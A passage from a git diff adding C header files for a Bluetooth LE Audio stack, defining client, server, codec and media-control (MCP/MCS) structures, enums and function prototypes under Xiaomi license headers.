+lea_csip_msg_t* lea_csip_msg_new(lea_csip_event_t event, bt_address_t* remote_addr); +lea_csip_msg_t* lea_csip_msg_new_ext(lea_csip_event_t event, bt_address_t* remote_addr, size_t size); +void lea_csip_msg_destory(lea_csip_msg_t* ccp_msg); + +#endif /* __LEA_CLIENT_EVENT_H__ */ diff --git a/service/profiles/include/lea_client_service.h b/service/profiles/include/lea_client_service.h new file mode 100644 index 0000000000000000000000000000000000000000..7d6a5d410ad9029797d1cf0451bd499625c96191 --- /dev/null +++ b/service/profiles/include/lea_client_service.h @@ -0,0 +1,134 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_CLIENT_SERVICE_H__ +#define __LEA_CLIENT_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_lea_client.h" +#include "lea_audio_common.h" + +typedef struct { + bool is_source; + uint32_t pac_id; + lea_codec_id_t codec_id; + lea_codec_cap_t codec_cap; + uint8_t metadata_number; + lea_metadata_t metadata_value[LEA_CLIENT_MAX_STREAM_NUM]; +} lea_client_capability_t; + +typedef struct { + uint8_t target_latency; + uint8_t target_phy; + lea_codec_config_t codec_cfg; +} lea_ase_config_codec_t; + +typedef struct { + uint32_t sdu_interval; + uint8_t framing; + uint8_t phy; + uint16_t max_sdu; + uint8_t rtn; + uint16_t max_latency; + uint32_t delay; +} lea_ase_config_qos_t; + +typedef struct lea_client_interface { + size_t size; + void* (*register_callbacks)(void* remote, + const lea_client_callbacks_t* callbacks); + bool (*unregister_callbacks)(void** remote, void* cookie); + + bt_status_t (*connect)(bt_address_t* addr); + bt_status_t (*connect_audio)(bt_address_t* addr, uint8_t context); + bt_status_t (*disconnect)(bt_address_t* addr); + bt_status_t (*disconnect_audio)(bt_address_t* addr); + bt_status_t (*get_group_id)(bt_address_t* addr, uint32_t* group_id); + bt_status_t (*discovery_member_start)(uint32_t group_id); + bt_status_t (*discovery_member_stop)(uint32_t group_id); + bt_status_t (*group_add_member)(uint32_t group_id, bt_address_t* addr); + bt_status_t (*group_remove_member)(uint32_t group_id, bt_address_t* addr); + bt_status_t (*group_connect_audio)(uint32_t group_id, uint8_t context); + bt_status_t (*group_disconnect_audio)(uint32_t group_id); + bt_status_t (*group_lock)(uint32_t group_id); + bt_status_t (*group_unlock)(uint32_t group_id); + profile_connection_state_t (*get_connection_state)(bt_address_t* addr); +} lea_client_interface_t; + +lea_audio_stream_t* lea_client_add_stream(uint32_t stream_id, bt_address_t* remote_addr); +lea_audio_stream_t* lea_client_find_stream(uint32_t stream_id); +lea_audio_stream_t* lea_client_update_stream(lea_audio_stream_t* stream); +void lea_client_remove_stream(uint32_t stream_id); +void lea_client_remove_streams(void); + +void lea_client_notify_stack_state_changed(lea_client_stack_state_t enabled); +void lea_client_notify_connection_state_changed(bt_address_t* addr, profile_connection_state_t state); + +void lea_client_on_stack_state_changed(lea_client_stack_state_t state); +void lea_client_on_connection_state_changed(bt_address_t* addr, + profile_connection_state_t state); +void lea_client_on_storage_changed(void* value, uint32_t size); + +void lea_client_on_pac_event(bt_address_t* addr, lea_client_capability_t* cap); +void lea_client_on_ascs_event(bt_address_t* addr, uint8_t ase_state, bool is_source, uint8_t ase_id); +void lea_client_on_ascs_completed(bt_address_t* addr, uint32_t stream_id, uint8_t operation, uint8_t status); +void lea_client_on_audio_localtion_event(bt_address_t* addr, bool is_source, uint32_t allcation); +void lea_client_on_available_audio_contexts_event(bt_address_t* addr, uint32_t sink_ctxs, uint32_t source_ctxs); +void lea_client_on_supported_audio_contexts_event(bt_address_t* addr, uint32_t sink_ctxs, uint32_t source_ctxs); + +bt_status_t lea_client_ucc_add_streams(uint32_t group_id, bt_address_t* addr); +bt_status_t lea_client_ucc_remove_streams(uint32_t group_id, bt_address_t* addr); +bt_status_t lea_client_ucc_config_codec(uint32_t group_id, bt_address_t* addr); +bt_status_t lea_client_ucc_config_qos(uint32_t group_id, bt_address_t* addr, uint32_t stream_id); +bt_status_t lea_client_ucc_enable(uint32_t group_id, bt_address_t* addr, uint32_t stream_id); +bt_status_t lea_client_ucc_disable(uint32_t group_id, bt_address_t* addr); +bt_status_t lea_client_ucc_started(uint32_t group_id); + +void lea_client_on_stream_added(bt_address_t* addr, uint32_t stream_id); +void lea_client_on_stream_removed(bt_address_t* addr, uint32_t stream_id); +void lea_client_on_stream_started(lea_audio_stream_t* stream); +void lea_client_on_stream_stopped(uint32_t stream_id); +void lea_client_on_stream_suspend(uint32_t stream_id); +void lea_client_on_metedata_updated(uint32_t stream_id); +void lea_client_on_stream_recv(uint32_t stream_id, uint32_t time_stamp, + uint16_t seq_number, uint8_t* sdu, uint16_t size); + +/* + * sal callback + */ + +void lea_client_on_csip_sirk_event(bt_address_t* addr, uint8_t type, uint8_t* sirk); +void lea_client_on_csip_size_event(bt_address_t* addr, uint8_t cs_size); +void lea_client_on_csip_member_lock(bt_address_t* addr, uint8_t lock); +void lea_client_on_csip_member_rank_event(bt_address_t* addr, uint8_t rank); +void lea_client_on_csip_set_created(uint8_t* sirk); +void lea_client_on_csip_set_size_updated(uint8_t* sirk, uint8_t size); +void lea_client_on_csip_set_removed(uint8_t* sirk); +void lea_client_on_csip_set_member_discovered(bt_address_t* addr, uint8_t* sirk); +void lea_client_on_csip_set_member_added(bt_address_t* addr, uint8_t* sirk); +void lea_client_on_csip_set_member_removed(bt_address_t* addr, uint8_t* sirk); +void lea_client_on_csip_discovery_terminated(uint8_t* sirk); +void lea_client_on_csip_set_lock_changed(uint8_t* sirk, bool locked, lea_csip_lock_status result); +void lea_client_on_csip_set_ordered_access(uint8_t* sirk, lea_csip_lock_status result); + +/* + * register profile to service manager + */ +void register_lea_client_service(void); + +#endif /* __HFP_HF_SERVICE_H__ */ diff --git a/service/profiles/include/lea_client_state_machine.h b/service/profiles/include/lea_client_state_machine.h new file mode 100644 index 0000000000000000000000000000000000000000..74766f8b56bbdcfc40fa70cad539b462f88ebf46 --- /dev/null +++ b/service/profiles/include/lea_client_state_machine.h @@ -0,0 +1,30 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_CLIENT_STATE_MACHINE_H__ +#define __LEA_CLIENT_STATE_MACHINE_H__ + +#include "lea_client_event.h" +#include "state_machine.h" + +typedef struct _lea_client_state_machine lea_client_state_machine_t; + +lea_client_state_machine_t* lea_client_state_machine_new(bt_address_t* addr, void* context); +void lea_client_state_machine_destory(lea_client_state_machine_t* leas_sm); +void lea_client_state_machine_dispatch(lea_client_state_machine_t* leas_sm, lea_client_msg_t* msg); +uint32_t lea_client_state_machine_get_state(lea_client_state_machine_t* leas_sm); +void lea_client_state_machine_set_offloading(lea_client_state_machine_t* leas_sm, bool offloading); + +#endif /* __LEA_CLIENT_STATE_MACHINE_H__ */ diff --git a/service/profiles/include/lea_codec.h b/service/profiles/include/lea_codec.h new file mode 100644 index 0000000000000000000000000000000000000000..215e09971150d60623c2601c77ade3a5c3c520b4 --- /dev/null +++ b/service/profiles/include/lea_codec.h @@ -0,0 +1,66 @@ +/**************************************************************************** + * + * Copyright (C) 2024 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __LEA_CODEC_H__ +#define __LEA_CODEC_H__ + +#include <sys/types.h> + +#include "bt_vendor.h" +#include "lea_audio_common.h" + +enum { + LEA_CODEC_SINK, + LEA_CODEC_SOURCE, + LEA_CODEC_MAX, +}; + +typedef struct { + bool initiator; + bool active; + uint8_t codec_type; + uint8_t stream_num; + uint8_t bits_per_sample; + uint8_t channel_mode; + uint32_t sample_rate; + uint32_t bit_rate; + uint32_t frame_size; + uint32_t packet_size; + lea_stream_info_t streams_info[CONFIG_LEA_STREAM_MAX_NUM]; +} lea_audio_config_t; + +lea_audio_config_t* lea_codec_get_config(bool is_source); +void lea_codec_set_config(lea_audio_stream_t* audio_stream); +void lea_codec_unset_config(bool is_source); +bool lea_codec_get_offload_config(lea_offload_config_t* offload); + +#endif diff --git a/service/profiles/include/lea_mcp_event.h b/service/profiles/include/lea_mcp_event.h new file mode 100644 index 0000000000000000000000000000000000000000..0ea91119206233383d13ba0b25bb7aee9e9e1cc0 --- /dev/null +++ b/service/profiles/include/lea_mcp_event.h @@ -0,0 +1,76 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_MCP_EVENT_H__ +#define __LEA_MCP_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_addr.h" +#include "bt_lea_mcp.h" +#include <stdint.h> + +typedef enum { + MCP_MEDIA_PLAYER_NAME_CHANGED, + MCP_MEDIA_PLAYER_ICON_OBJ_ID, + MCP_MEDIA_PLAYER_ICON_URL, + MCP_READ_PLAYBACK_SPEED, + MCP_READ_SEEKING_SPEED, + MCP_READ_PLAYING_ORDER, + MCP_READ_PLAYING_ORDER_SUPPORTED, + MCP_READ_MEDIA_CONTROL_OPCODES_SUPPORTED, + MCP_TRACK_CHANGED, + MCP_READ_TRACK_TITLE, + MCP_READ_TRACK_DURATION, + MCP_READ_TRACK_POSITION, + MCP_READ_MEDIA_STATE, + MCP_MEDIA_CONTROL_REQ, + MCP_SEARCH_CONTROL_RESULT_REQ, + MCP_CURRENT_TRACK_SEGMENTS_OBJ_ID, + MCP_CURRENT_TRACK_OBJ_ID, + MCP_NEXT_TRACK_OBJ_ID, + MCP_PARENT_GROUP_OBJ_ID, + MCP_CURRENT_GROUP_OBJ_ID, + MCP_SEARCH_RESULTS_OBJ_ID, + MCP_READ_CCID +} mcp_event_type_t; + +typedef struct { + uint32_t mcs_id; + int8_t valueint8; + uint8_t valueuint8_0; + uint8_t valueuint8_1; + uint16_t valueuint16; + int32_t valueint32; + uint32_t valueuint32; + lea_mcp_object_id obj_id; + char string1[0]; +} mcp_event_data_t; + +typedef struct { + bt_address_t remote_addr; + mcp_event_type_t event; + mcp_event_data_t event_data; +} mcp_event_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +mcp_event_t* mcp_event_new(mcp_event_type_t event, bt_address_t* remote_addr, uint32_t mcs_id); +mcp_event_t* mcp_event_new_ext(mcp_event_type_t event, bt_address_t* remote_addr, uint32_t mcs_id, size_t size); +void mcp_event_destory(mcp_event_t* mcp_event); + +#endif /* __LEA_MCP_EVENT_H__ */ diff --git a/service/profiles/include/lea_mcp_service.h b/service/profiles/include/lea_mcp_service.h new file mode 100644 index 0000000000000000000000000000000000000000..9409892636c62b34eb37952a5b2dd1f7f4f567a0 --- /dev/null +++ b/service/profiles/include/lea_mcp_service.h @@ -0,0 +1,100 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_MCP_SERVICE_H__ +#define __LEA_MCP_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_lea_mcp.h" +#include "sal_lea_mcp_interface.h" +#include "stddef.h" + +typedef struct { + uint8_t num; + uint32_t sid; +} bts_mcs_info_s; + +typedef enum { + MCP_MEDIA_PLAYER_NAME = 1, + MCP_MEIDA_PLAYER_ICON_OBJECT_ID, + MCP_MEIDA_PLAYER_ICON_URL, + MCP_PLAYBACK_SPEED, + MCP_SEEKING_SPEED, + MCP_PLAYING_ORDER, + MCP_PLAYING_ORDERS_SUPPORTED, + MCP_MEIDA_CONTROL_OPCODES_SUPPORTED, + MCP_TRACK_TITLE, + MCP_TRACK_DURATION, + MCP_TRACK_POSITION, + MCP_MEDIA_STATE, + MCP_CURRENT_TRACK_OBJECT_ID, + MCP_NEXT_TRACK_OBJECT_ID, + MCP_PARENT_GROUP_OBJECT_ID, + MCP_CURRENT_GROUP_OBJECT_ID, + MCP_SEARCH_RESULTS_OBJECT_ID, + MCP_CONTENT_CONTROL_ID, +} lea_mcp_opcode_t; + +/* + * sal callback + */ +void lea_mcp_on_media_player_name(bt_address_t* addr, uint32_t mcs_id, size_t size, char* name); +void lea_mcp_on_media_player_icon_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id); +void lea_mcp_on_media_player_icon_url(bt_address_t* addr, uint32_t mcs_id, size_t size, char* url); +void lea_mcp_on_playback_speed(bt_address_t* addr, uint32_t mcs_id, int8_t speed); +void lea_mcp_on_seeking_speed(bt_address_t* addr, uint32_t mcs_id, int8_t speed); +void lea_mcp_on_playing_order(bt_address_t* addr, uint32_t mcs_id, int8_t order); +void lea_mcp_on_playing_orders_supported(bt_address_t* addr, uint32_t mcs_id, uint16_t orders); +void lea_mcp_on_media_control_opcodes_supported(bt_address_t* addr, uint32_t mcs_id, uint32_t opcodes); +void lea_mcp_on_track_changed(bt_address_t* addr, uint32_t mcs_id); +void lea_mcp_on_track_title(bt_address_t* addr, uint32_t mcs_id, size_t size, char* title); +void lea_mcp_on_track_duration(bt_address_t* addr, uint32_t mcs_id, int32_t duration); +void lea_mcp_on_track_position(bt_address_t* addr, uint32_t mcs_id, int32_t position); +void lea_mcp_on_media_state(bt_address_t* addr, uint32_t mcs_id, uint8_t state); +void lea_mcp_on_media_control_result(bt_address_t* addr, uint32_t mcs_id, uint8_t opcode, uint8_t result); +void lea_mcp_on_search_control_result(bt_address_t* addr, uint32_t mcs_id, uint8_t result); +void lea_mcp_on_current_track_segments_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id); +void lea_mcp_on_current_track_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id); +void lea_mcp_on_next_track_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id); +void lea_mcp_on_parent_group_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id); +void lea_mcp_on_current_group_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id); +void lea_mcp_on_search_results_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id); +void lea_mcp_on_content_control_id(bt_address_t* addr, uint32_t mcs_id, uint8_t ccid); + +typedef struct { + size_t size; + bt_status_t (*read_remote_mcs_info)(bt_address_t* addr, uint8_t opcode); + bt_status_t (*media_control_request)(bt_address_t* addr, + LEA_MCP_MEDIA_CONTROL_OPCODE opcode, int32_t n); + bt_status_t (*search_control_request)(bt_address_t* addr, + uint8_t number, LEA_MCP_SEARCH_CONTROL_ITEM_TYPE type, uint8_t* parameter); + void* (*set_callbacks)(void* handle, lea_mcp_callbacks_t* callbacks); + bool (*reset_callbacks)(void** handle, void* cookie); +} lea_mcp_interface_t; + +/* + * register profile to service manager + */ +void register_lea_mcp_service(void); + +/* + * set mcs id infomation + */ +void adapt_mcs_sid_changed(uint32_t sid); + +#endif /* __LEA_MCP_SERVICE_H__ */ diff --git a/service/profiles/include/lea_mcs_event.h b/service/profiles/include/lea_mcs_event.h new file mode 100644 index 0000000000000000000000000000000000000000..01bb0bbc9bd4058d793a45429e24d66ed2584266 --- /dev/null +++ b/service/profiles/include/lea_mcs_event.h @@ -0,0 +1,94 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_MCS_EVENT_H__ +#define __LEA_MCS_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_lea_mcs.h" +#include <stdint.h> + +typedef enum { + MCS_STATE = 0, + MCS_PLAYER_SET, + MCS_OBJECT_ADDAD, + MCS_OBJECT_REMOVED, + MCS_SEGMENTS_STATE, + MCS_SET_POSITION, + MCS_SET_PLAYBACK_SPEED, + MCS_SET_CURRENT_TRACK, + MCS_SET_NEXT_TRACK, + MCS_SET_CURRENT_GROUP, + MCS_SET_PLAYING_ORDER, + MCS_CONTROL_POINT_PLAY, + MCS_CONTROL_POINT_PAUSE, + MCS_CONTROL_POINT_FAST_REWIND, + MCS_CONTROL_POINT_FAST_FORWARD, + MCS_CONTROL_POINT_STOP, + MCS_CONTROL_POINT_MOVE, + MCS_CONTROL_POINT_PREVIOUS_SEGMENT, + MCS_CONTROL_POINT_NEXT_SEGMENT, + MCS_CONTROL_POINT_FIRST_SEGMENT, + MCS_CONTROL_POINT_LAST_SEGMENT, + MCS_CONTROL_POINT_GOTO_SEGMENT, + MCS_CONTROL_POINT_PREVIOUS_TRACK, + MCS_CONTROL_POINT_NEXT_TRACK, + MCS_CONTROL_POINT_FIRST_TRACK, + MCS_CONTROL_POINT_LAST_TRACK, + MCS_CONTROL_POINT_GOTO_TRACK, + MCS_CONTROL_POINT_PREVIOUS_GROUP, + MCS_CONTROL_POINT_NEXT_GROUP, + MCS_CONTROL_POINT_FIRST_GROUP, + MCS_CONTROL_POINT_LAST_GROUP, + MCS_CONTROL_POINT_GOTO_GROUP, + MCS_SEARCH_TRACK_NAME, + MCS_SEARCH_ARTIST_NAME, + MCS_SEARCH_ALBUM_NAME, + MCS_SEARCH_GROUP_NAME, + MCS_SEARCH_EARLIEST_YEAR, + MCS_SEARCH_LATEST_YEAR, + MCS_SEARCH_GENRE, + MCS_SEARCH_TRACKS, + MCS_SEARCH_GROUPS +} mcs_event_type_t; + +typedef struct { + uint32_t mcs_id; + uint32_t valueuint32; + int32_t valueint32; + uint16_t valueuint16; + uint8_t valueuint8; + int8_t valueint8; + bool valuebool; + void* ref; + lea_object_id obj_id; + uint8_t dataarry[1]; +} mcs_event_data_t; + +typedef struct { + mcs_event_type_t event; + mcs_event_data_t event_data; +} mcs_event_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +mcs_event_t* mcs_event_new(mcs_event_type_t event, uint32_t mcs_id); +mcs_event_t* mcs_event_new_ext(mcs_event_type_t event, uint32_t mcs_id, size_t size); +void mcs_event_destory(mcs_event_t* mcs_event); + +#endif /* __LEA_MCS_EVENT_H__ */ \ No newline at end of file diff --git a/service/profiles/include/lea_mcs_service.h b/service/profiles/include/lea_mcs_service.h new file mode 100644 index 0000000000000000000000000000000000000000..1aff8200ee08ce4916129f0d81c615c31a2978c0 --- /dev/null +++ b/service/profiles/include/lea_mcs_service.h @@ -0,0 +1,97 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_MCS_SERVICE_H__ +#define __LEA_MCS_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_lea_mcs.h" +#include "sal_lea_mcs_interface.h" +#include "stddef.h" + +/* + * sal callback + */ +void lea_on_mcs_state(uint32_t mcs_id, uint8_t ccid, bool added); +void lea_on_mcs_player_info_set_result(uint32_t mcs_id, void* player_ref, bool result); +void lea_on_mcs_object_added_result(uint32_t mcs_id, void* obj_ref, lea_object_id obj_id); +void lea_on_mcs_set_position_result(uint32_t mcs_id, int32_t position); +void lea_on_mcs_set_playback_speed_result(uint32_t mcs_id, int8_t speed); +void lea_on_mcs_set_current_track_result(uint32_t mcs_id, lea_object_id track_id); +void lea_on_mcs_set_next_track_result(uint32_t mcs_id, lea_object_id track_id); +void lea_on_mcs_set_current_group_result(uint32_t mcs_id, lea_object_id group_id); +void lea_on_mcs_set_playing_order_result(uint32_t mcs_id, uint8_t order); +void lea_on_mcs_play_result(uint32_t mcs_id); +void lea_on_mcs_pause_result(uint32_t mcs_id); +void lea_on_mcs_fast_rewind_result(uint32_t mcs_id); +void lea_on_mcs_fast_forward_result(uint32_t mcs_id); +void lea_on_mcs_stop_result(uint32_t mcs_id); +void lea_on_mcs_move_result(uint32_t mcs_id, int32_t offset); +void lea_on_mcs_previous_segment_result(uint32_t mcs_id); +void lea_on_mcs_next_segment_result(uint32_t mcs_id); +void lea_on_mcs_first_segment_result(uint32_t mcs_id); +void lea_on_mcs_last_segment_result(uint32_t mcs_id); +void lea_on_mcs_goto_segment_result(uint32_t mcs_id, int32_t n_segment); +void lea_on_mcs_previous_track_result(uint32_t mcs_id); +void lea_on_mcs_next_track_result(uint32_t mcs_id); +void lea_on_mcs_first_track_result(uint32_t mcs_id); +void lea_on_mcs_last_track_result(uint32_t mcs_id); +void lea_on_mcs_goto_track_result(uint32_t mcs_id, int32_t n_track); +void lea_on_mcs_previous_group_result(uint32_t mcs_id); +void lea_on_mcs_next_group_result(uint32_t mcs_id); +void lea_on_mcs_first_group_result(uint32_t mcs_id); +void lea_on_mcs_last_group_result(uint32_t mcs_id); +void lea_on_mcs_goto_group_result(uint32_t mcs_id, int32_t n_group); +void lea_on_mcs_search_track_name_result(uint32_t mcs_id, size_t size, char* name, bool last_condition); +void lea_on_mcs_search_artist_name_result(uint32_t mcs_id, size_t size, char* name, bool last_condition); +void lea_on_mcs_search_album_name_result(uint32_t mcs_id, size_t size, char* name, bool last_condition); +void lea_on_mcs_search_group_name_result(uint32_t mcs_id, size_t size, char* name, bool last_condition); +void lea_on_mcs_search_earliest_year_result(uint32_t mcs_id, size_t size, char* year, bool last_condition); +void lea_on_mcs_search_latest_year_result(uint32_t mcs_id, size_t size, char* year, bool last_condition); +void lea_on_mcs_search_genre_result(uint32_t mcs_id, size_t size, char* name, bool last_condition); +void lea_on_mcs_search_tracks_result(uint32_t mcs_id, bool last_condition); +void lea_on_mcs_search_groups_result(uint32_t mcs_id, bool last_condition); + +typedef struct { + size_t size; + bt_status_t (*mcs_add)(); + bt_status_t (*mcs_remove)(); + bt_status_t (*add_object)(uint32_t mcs_id, uint8_t type, uint8_t* name, void* obj_ref); + bt_status_t (*playing_order_changed)(uint8_t order); + bt_status_t (*media_state_changed)(lea_adpt_mcs_media_state_t state); + bt_status_t (*playback_speed_changed)(int8_t speed); + bt_status_t (*seeking_speed_changed)(int8_t speed); + bt_status_t (*track_title_changed)(uint8_t* title); + bt_status_t (*track_duration_changed)(int32_t duration); + bt_status_t (*track_position_changed)(int32_t position); + bt_status_t (*current_track_changed)(lea_object_id track_id); + bt_status_t (*next_track_changed)(lea_object_id track_id); + bt_status_t (*current_group_changed)(lea_object_id group_id); + bt_status_t (*parent_group_changed)(lea_object_id group_id); + bt_status_t (*set_media_player_info)(); + bt_status_t (*media_control_response)(lea_adpt_mcs_media_control_result_t result); + void* (*set_callbacks)(void* handle, lea_mcs_callbacks_t* callbacks); + bool (*reset_callbacks)(void** handle, void* cookie); +} lea_mcs_interface_t; + +/* + * register profile to service manager + */ +void register_lea_mcs_service(void); + +#endif /* __LEA_MCS_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/lea_server_event.h b/service/profiles/include/lea_server_event.h new file mode 100644 index 0000000000000000000000000000000000000000..56d968fbca9121dfdfc06084c4675facb7bbdaac --- /dev/null +++ b/service/profiles/include/lea_server_event.h @@ -0,0 +1,105 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_SERVER_EVENT_H__ +#define __LEA_SERVER_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include "bt_addr.h" + +#include <stdint.h> + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define LEA_SERVER_MSG_ADD_STR(msg, num, str, len) \ + if (str != NULL && len != 0) { \ + msg->data.string##num = malloc(len + 1); \ + msg->data.string##num[len] = '\0'; \ + memcpy(msg->data.string##num, str, len); \ + } else { \ + msg->data.string##num = NULL; \ + } + +typedef enum { + DISCONNECT = 1, + CONFIG_CODEC = 2, + STARTUP = 10, + SHUTDOWN = 11, + TIMEOUT = 12, + OFFLOAD_START_REQ, + OFFLOAD_STOP_REQ, + OFFLOAD_START_EVT, + OFFLOAD_STOP_EVT, + OFFLOAD_TIMEOUT, + STACK_EVENT_STACK_STATE, + STACK_EVENT_CONNECTION_STATE, + STACK_EVENT_METADATA_UPDATED, + STACK_EVENT_STORAGE, + STACK_EVENT_SERVICE, + STACK_EVENT_STREAM_ADDED, + STACK_EVENT_STREAM_REMOVED, + STACK_EVENT_STREAM_STARTED, + STACK_EVENT_STREAM_STOPPED, + STACK_EVENT_STREAM_RESUME, + STACK_EVENT_STREAM_SUSPEND, + STACK_EVENT_STREAN_RECV, + STACK_EVENT_STREAN_SENT, + STACK_EVENT_ASE_CODEC_CONFIG, + STACK_EVENT_ASE_QOS_CONFIG, + STACK_EVENT_ASE_ENABLING, + STACK_EVENT_ASE_STREAMING, + STACK_EVENT_ASE_DISABLING, + STACK_EVENT_ASE_RELEASING, + STACK_EVENT_ASE_IDLE, + STACK_EVENT_INIT, + STACK_EVENT_ANNOUNCE, + STACK_EVENT_DISCONNECT, + STACK_EVENT_CLEANUP, +} lea_server_event_t; + +typedef struct +{ + bt_address_t addr; + uint32_t valueint1; + uint32_t valueint2; + uint16_t valueint3; + uint16_t valueint4; + size_t size; + void* data; +} lea_server_data_t; + +typedef struct +{ + lea_server_event_t event; + lea_server_data_t data; +} lea_server_msg_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +lea_server_msg_t* lea_server_msg_new(lea_server_event_t event, + bt_address_t* addr); + +lea_server_msg_t* lea_server_msg_new_ext(lea_server_event_t event, + bt_address_t* addr, void* data, size_t size); + +void lea_server_msg_destory(lea_server_msg_t* msg); + +#endif /* __LEA_SERVER_EVENT_H__ */ diff --git a/service/profiles/include/lea_server_service.h b/service/profiles/include/lea_server_service.h new file mode 100644 index 0000000000000000000000000000000000000000..66d082bb8052a8daae0184fcb072cfeff63ffd95 --- /dev/null +++ b/service/profiles/include/lea_server_service.h @@ -0,0 +1,78 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi 